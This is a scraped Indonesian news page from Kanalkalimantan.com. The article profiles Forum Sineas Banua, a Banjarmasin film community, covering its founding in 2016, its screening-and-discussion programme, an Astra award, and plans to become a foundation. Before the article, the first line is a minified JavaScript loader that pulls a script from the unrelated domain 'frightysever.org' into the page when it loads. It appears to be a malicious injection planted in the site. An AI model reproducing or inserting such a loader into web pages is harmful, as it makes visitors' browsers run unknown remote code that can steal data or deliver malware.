(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setibanya di Banua, semangat Zainal Muttaqin menggebu, usainya mengikuti kelas workshop film tingkat dasar skala nasional, selama sembilan hari di Bogor, Provinsi Jawa Barat, pada 2016 silam.
Ingatannya usai belajar di kelas itu masih fresh, idenya mengalir.
Pikirnya, praktik kebiasaan menonton film yang kemudian didiskusikan bersama komunitas di Banua, tidak pernah sama sekali digelar. Padahal di Pulau Jawa, kegiatan diskusi semacam itu lumrah dilakukan.
“Saya seperti mendapat shock kultur,” kata Zainal, komunitas Photography And Cinematography (PCC) Banjarmasin.
Ia berinisiatif mengumpulkan kawan-kawan dari berbagai komunitas yang memiliki frekuensi yang sama di bidangnya, dipilihlah rumah Acit seorang fotografer, sebagai tempat perkumpulan.
Di ruang tamu rumah Acit yang sempit, tiga kali lima meter, perdana dipadati belasan anak muda bertalenta hingga larut malam.
Mendengar adanya wadah perkumpulan orang-orang yang mendiskusikan perfilman di Banjarmasin, sepulangnya merantau dalam waktu yang panjang di Daerah Istimewa Yogyakarta, Ade Hidayat seorang filmmaker diajak nimbrung pada pertemuan kedua, dalam program Layar Banjar yang digagas PCC di rumah Acit.
Pada moment itu tuan rumah mematikan lampu, suasana menjadi gelap gulita menyisakan satu-satunya sumber cahaya dari sinar proyektor jadul yang ditembakkan ke dinding rumah berwarna putih kusam.
Objek memutarkan sejumlah film berdurasi pendek produksi anak Banua, mereka tenggelam dalam aliran cerita dan visualnya.
Dalam keheningan, suara-suara kecil emosi penonton menggelitik telinga. Ketika volumenya lebih serius didengar, acara nonton film itu berubah diskusi.
Isu perkembangan dunia perfilman Banua yang menghadapi tantangan dalam berkembangnya menjadi perbincangan utama.
“Kita harus memiliki film yang anak Banjar.” celetuk Ade Hidayat, di tengah diskusi.
Vokal Ade didengar, ia menyatakan keprihatinannya tentang minimnya dukungan dan kesempatan yang diberikan kepada para pembuat film lokal.
Padahal anak-anak Banua tidak kalah banyak memiliki potensi dan bakat yang menjanjikan, tetapi terbatas pertumbuhan.
Ade kemudian mengkritisi film lokal yang diproduksi saat ini, dianggap tidak mencerminkan budaya daerah, tidak menggunakan bahasa Banjar sebagai bahasa populer di layar kaca.
“Saya heran, ada film festival sudah plagiat, juga memakai bahasa loe gue. Kelokalan itu malah tidak ada,” ucap Ade kritis.
“Terpola menonton di TV, ya jadinya sinetron,” sambung Ade protes.
Beberapa ide dan inisiatif untuk mendukung perkembangan film lokal bermunculan.
Ada yang menyarankan untuk mendirikan sekolah film atau pusat pelatihan di daerah, ada juga gagasan kolaborasi antara sineas lokal yang ditujukan agar ada saluran yang jelas untuk menampung bakat, mereka sepakat kegiatan perkumpulan semacam ini harus konsisten digelar.
“Wadah untuk melatih dan mengembangkan bakat di bidang perfilman harus tersedia,” Ade membakar semangat.
Belakangan pada pertemuan ketiga, tercetuslah nama Forum Sineas Banua (FSB) sebagai wadah perkumpulan dari berbagai komunitas itu.
FSB terbentuk pada 26 Juli 2016 di Kota Banjarmasin, kemudian berbadan hukum di tahun 2018.
“Intinya kita ada, karena keresahan itu,” ujar Ade yang kini menjadi salah satu founder FSB tersebut.
Seiring berjalannya waktu FSB tumbuh menjadi komunitas non profit, perkumpulan ini berperan sebagai eksibitor, edukator, fasilitator, dan pengarsip perfilman di Kalimantan Selatan.
FSB hadir sebagai wadah bersosialisasi antar sineas dan komunitas film yang berada di Kalimantan Selatan.
FSB mengupayakan kebutuhan para anggotanya dalam meningkatkan kompetensi, profesionalisme serta kesadaran hukum. Hingga kini, FSB sudah menyelenggarakan berbagai kegiatan perfilman mulai dari apresiasi, ekshibisi, dan edukasi.
***
Mengangkat visi memasyarakatkan film membuat ekosistem film lokal, hingga sekarang FSB masih rutin melaksanakan program unggulan mereka yang digagas sejak awal FSB dibentuk, salah satunya kegiatan Layar Banjar.
Program itu diadopsi dan disempurnakan, namanya diganti menjadi Ngobrol Film, populer hingga sekarang disingkat “Ngofi”.
“Ngofi” dianggap banyak membawa perubahan perkembangan perfilman di Banua, “Ngofi” menganggap film sebagai seni dan film sebagai media massa.
Hingga Juli 2023 “Ngofi” sudah dilaksanakan 32 kali.
Program pemutaran dan diskusi film yang digagas sejak masa kepemimpinan Zainal Muttaqin sebagai Ketua FSB di tahun 2016, bahkan pernah mendapat apresiasi Semangat Astra Terpadu Untuk (SATU) Indonesia Awards tahun 2018.
Program SATU Indonesia Awards, wujud apresiasi Astra untuk generasi muda, baik individu maupun kelompok, yang memiliki kepeloporan dan melakukan perubahan untuk berbagi dengan masyarakat sekitarnya di bidang kesehatan, pendidikan, lingkungan, kewirausahaan, dan teknologi, serta satu kategori kelompok yang mewakili lima bidang tersebut.
“Itu adalah penghargaan pertama yang pernah kami terima di tahun itu,” aku Zainal.
Apresiasi yang diterima dari Astra dan berbagai sumber pendapatan produksi perfilman, lantas dikumpulkan ke kas FSB kemudian kembali berkembang menjadi program baru dinamai Badan Usaha (Bahu).
Seiring berjalannya waktu, Bahu dapat menyokong dana dan operasional FSB dengan penyewaan alat-alat perfilman dasar dan inventaris lainnya.
“Terkadang kita juga pinjamkan gratis, untuk menyuport perkembangan perfilman di Banua,” Ade memberitahu.
***
Melihat perkembangan dan potensi yang lebih baik dimasa yang akan datang, Caesariko Ketua FSB 2023-2026, berencana menjadikan perkumpulan ini sebagai yayasan.
Melalui yayasan pembinaan, pelatihan, dan dukungan dalam hal teknis, kreatif, dan produksi film diyakini dapat dikembangkan lebih baik lagi.
“Ada wacana kita kedepan di tahun ini Insya Allah FSB yang sebelumnya sebagai rumah komunitas menjadi yayasan,” ia membocorkan.
Melalui yayasan FSB juga diharapkan Riko -sapaan akrabnya- lebih dapat memfokuskan diri pada pengembangan industri perfilman lokal dengan mendukung produksi film-film daerah, baik dalam hal pendanaan, distribusi, atau promosi.
Riko berpikir walaupun masih terlihat sulit, setidaknya jika yayasan terbentuk, FSB dapat memiliki struktur organisasi yang lebih stabil dan berkelanjutan dari pada forum atau perkumpulan informal.
Setidaknya dapat membantu memastikan upaya dalam mendukung industri perfilman lokal tetap berjalan dalam jangka panjang.
Melalui yayasan yang terdaftar secara resmi, FSB diharapkan cenderung dapat lebih diakui oleh berbagai pihak, termasuk pemerintah, institusi pendidikan, dan mitra potensial lainnya, sehingga FSB dapat membantu dalam menjalin kemitraan dan kerja sama yang lebih luas.(Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : bie
#SemangatUntukHariIniDanMasaDepanIndonesia #KitaSATUIndonesia
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
This website uses cookies.